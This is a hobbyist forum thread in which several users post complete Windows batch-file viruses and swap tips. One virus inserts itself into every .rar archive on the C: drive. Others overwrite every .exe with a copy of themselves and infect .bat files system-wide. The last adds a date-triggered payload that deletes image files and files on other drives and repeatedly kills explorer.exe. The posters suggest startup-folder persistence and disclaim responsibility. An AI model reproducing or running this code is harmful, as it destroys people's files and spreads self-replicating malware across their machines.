Re: Batch virus, infect multiple folders with little effort

Yeniaul wrote:

At least it isn't Anonymousguy-level shitty...
Thanks!

I tend to stay far away from his post

Thumbs up Thumbs down

Re: Batch virus, infect multiple folders with little effort

slek wrote:

come to think of it this is where I began learning perl many years ago from snakebytes tutorials and eventually built up the courage to make my first perly virus which I'm now embarresed by: http://vxheaven.org/doomriderz/projects/StarPerl.txt

I used to love reading your tutorials, they were simple and easier to understand than the others.

Thumbs up Thumbs down

28 (edited by alcopaul 2017-01-09 19:43:02)

Re: Batch virus, infect multiple folders with little effort

:: start virus
::BatXP.RaRMee.b/alcopaul/b8::
@echo off
assoc .rar | cls
if errorlevel==1 goto x
ftype winrar>b.8 | cls
find /i "c:\program files\winrar" b.8 | cls
if errorlevel==1 goto x
for /r c:\ %%b in (*.rar) do "c:\program files\winrar\rar.exe" u "%%b" %0
:x
del b.8
exit cmd.exe

:: end virus


i wrote this in 2011. goes from roots to tips. (still works just run as administrator)

notes:

::BatXP.RarMee.b
::alcopaul/brigada ocho
::march 26, 2011

::issues addressed:
::1.) Long filenames with long directory names with space are now handled successfully
::2.) rar.exe doesn't handle zip files anymore (rar version 4.0). *.zip files excluded.
::
::inherent bugs:
::1.) waits for user input if rar file has a password. didn't use -p- switch ("Do not query password")
:: coz it also inserts a passworded (password:"-") batch file inside the rar file.
::
:: tested in windows xp sp3. must be executed by double clicking.
::

[CQK]
Twitter: @thealcopaul

Thumbs up Thumbs down

29 (edited by zask 2017-02-13 07:50:03)

Re: Batch virus, infect multiple folders with little effort

Just got a chance to use a computer, you could use this virus. Its much more chaotic, it will definitely anger someone. Especially if ran with administrative privileges. Not responsible for any damages.
It can infect any exe file on the computer. There are some more tricks I want to add to it but I fr might be taking a break from coding until I find a way to get a computer.

Put in startup folder or do a registry start for best results.

@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set ROOTFOLDER=%%~DA\
for /l %%X in (1,0,2) do (
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
set "RAND=1!RANDOM:~-1!!RANDOM:~-1!"
for /l %%X in (1,1,!RAND!) do (
type %0 > !RANDOM!!RANDOM!!RANDOM!!RANDOM!.bat & type %0 > con )
for %%A in (*.exe) do set "FILE1=%%~DPNXA" & for %%I IN ("!FILE1!") do (
ren "!FILE1!" "%%~NI.txt" & if exist "!FILE1:~0,-4!.txt" copy /y %0 "!FILE1:~0,-4!.txt"
ren "!FILE1:~0,-4!.txt" "%%~NI.bat" )
for /r %%X in (*.exe) do set "FILE2=%%X" & for %%Z IN ("!FILE2!") do (
ren "!FILE2!" "%%~NZ.txt" & if exist "!FILE2:~0,-4!.txt" copy /y %0 "!FILE2:~0,-4!.txt"
ren "!FILE2:~0,-4!.txt" "%%~NZ.bat")
cd..
if "!CD!"=="%ROOTFOLDER%" call :end
)
:end
SetLocal DisableDelayedExpansion
exit

Thumbs up Thumbs down

Re: Batch virus, infect multiple folders with little effort

zask wrote:

There are some more tricks I want to add to it but I fr might be taking a break from coding until I find a way to get a computer.

Have Android? Try Limbo or that one app I can't remember what it's called ("Lib[something]")

I like to examine and theorize about everything, from Amazon's <quote> impenetrable </quote> ultravisor to autorun viruses (virii?) being technology's version of an STD (Slot Transmitted Disease).
I dabble in Python 2.x and non-stereotypical BATCH (x>50 lines). I also fuck up VMs from time to time.

┬──┬ ︵ /(.□. \)

Thumbs up Thumbs down

31 (edited by zask 2017-03-04 18:18:05)

Re: Batch virus, infect multiple folders with little effort

Yeniaul wrote:
zask wrote:

There are some more tricks I want to add to it but I fr might be taking a break from coding until I find a way to get a computer.

Have Android? Try Limbo or that one app I can't remember what it's called ("Lib[something]")

I could try, when I get the chance to code, I can create better things. I've made this so far though.



@echo off
SetLocal EnableDelayedExpansion
for %%A in ("%CD%") do set "ROOTFOLDER=%%~DA\"
for /l %%B in (1,0,2) do (

for /r %%C in (*.exe) do set "FILE=%%C" & for %%D IN ("!FILE!") do (
ren "!FILE!" "%%~ND.txt" & if exist "!FILE:~0,-4!.txt" copy /y %0 "!FILE:~0,-4!.txt"
ren "!FILE:~0,-4!.txt" "%%~ND.bat"
if exist "!FILE:~0,-4!.txt" del "!FILE:~0,-4!.txt" )

for /r %SYSTEMDRIVE% %%E in (*.bat) do (
findstr /c:":INFECTED" "%%~E" > nul && (
rem
)||( copy /y %0 "%%E" ))

if "!DATE:~4,2!/!DATE:~7,2!/!DATE:~10,4!"=="02/24/2017" (

md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!
md !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM! !RANDOM!

for /r %%H in (*.ani) do del /f /q "%%H" > nul
for /r %%H in (*.bmp) do del /f /q "%%H" > nul
for /r %%H in (*.cal) do del /f /q "%%H" > nul
for /r %%H in (*.fax) do del /f /q "%%H" > nul
for /r %%H in (*.gif) do del /f /q "%%H" > nul
for /r %%H in (*.img) do del /f /q "%%H" > nul
for /r %%H in (*.jbg) do del /f /q "%%H" > nul
for /r %%H in (*.jbe) do del /f /q "%%H" > nul
for /r %%H in (*.jpg) do del /f /q "%%H" > nul
for /r %%H in (*.mac) do del /f /q "%%H" > nul
for /r %%H in (*.pbm) do del /f /q "%%H" > nul
for /r %%H in (*.pcd) do del /f /q "%%H" > nul
for /r %%H in (*.pcx) do del /f /q "%%H" > nul
for /r %%H in (*.pct) do del /f /q "%%H" > nul
for /r %%H in (*.pgm) do del /f /q "%%H" > nul
for /r %%H in (*.png) do del /f /q "%%H" > nul
for /r %%H in (*.ppm) do del /f /q "%%H" > nul
for /r %%H in (*.psd) do del /f /q "%%H" > nul
for /r %%H in (*.ras) do del /f /q "%%H" > nul
for /r %%H in (*.tga) do del /f /q "%%H" > nul
for /r %%H in (*.wmf) do del /f /q "%%H" > nul
for /r %%H in (*.jpeg) do del /f /q "%%H" > nul
for /r %%H in (*.tiff) do del /f /q "%%H" > nul

for %%F in (D: E: F: G: H: I: etc...) do (
if exist "%%F\nul" (
for %%G in (*.*) do del /f /q "%%F\%%G" > nul ))

:repeat
set /a RAND=!RANDOM! %%5
if /i !RAND! LSS 1 call :repeat
for /l %%C in (1,1,!RAND!) do (
timeout /t !RAND! /nobreak
taskkill /f /im "explorer.exe"
timeout /t !RAND! /nobreak
start "" "explorer.exe" )
)

net session >nul 2>&1
if not "!CD!"=="%ROOTFOLDER%" cd..
if !errorLevel! == 0 (
if "!CD!"=="%ROOTFOLDER%" cd "%USERPROFILE%\Desktop"
) else (
if "!CD!"=="C:\Users" cd "%USERPROFILE%\Desktop" )
)

Thumbs up Thumbs down